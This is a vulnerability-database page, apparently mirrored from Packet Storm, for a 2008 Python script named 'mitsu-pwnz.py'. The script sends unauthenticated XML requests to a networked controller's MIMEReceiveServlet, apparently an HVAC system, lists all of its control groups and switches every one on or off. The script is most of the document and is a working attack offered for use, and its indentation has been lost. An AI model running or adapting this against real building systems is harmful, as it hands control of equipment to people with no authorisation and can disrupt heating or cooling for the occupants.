Lucene search
K

mitsu-pwnz.py.txt

🗓️ 24 Mar 2008 00:00:00Reported by Chris WithersType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

Python script for controlling a networked device using XML requests

Code
`"""  
usage: python pwnz.py 192.168.1.x [on|off]  
"""  
  
# you can get BeautifulSoup from:  
# http://www.crummy.com/software/BeautifulSoup/#Download  
from BeautifulSoup import BeautifulSoup  
from httplib import HTTPConnection  
import sys  
  
ip = sys.argv[1]  
template = '<Mnet Group="%%s" Drive="%s" />' % sys.argv[2].upper()  
  
def post(data):  
c = HTTPConnection(ip)  
c.request('POST','/servlet/MIMEReceiveServlet',data,{'content-type':'text/xml'})  
return BeautifulSoup(c.getresponse().read())  
  
# first out what groups there are  
soup = post("""  
<?xml version="1.0" encoding="UTF-8"?>  
<Packet>  
<Command>getRequest</Command>  
<DatabaseManager>  
<ControlGroup>  
<MnetList/>  
</ControlGroup>  
</DatabaseManager>  
</Packet>  
""")  
group_nums = [(g['group']) for g in soup.findAll('mnetrecord')]  
# now go through and set all the on/off bits to what we were told  
soup = post("""  
<?xml version="1.0" encoding="UTF-8"?>  
<Packet>  
<Command>setRequest</Command>  
<DatabaseManager>  
%s  
</DatabaseManager>  
</Packet>  
""" % ('\n'.join([template%g for g in group_nums])))  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Mar 2008 00:00Current
7.4High risk
Vulners AI Score7.4
16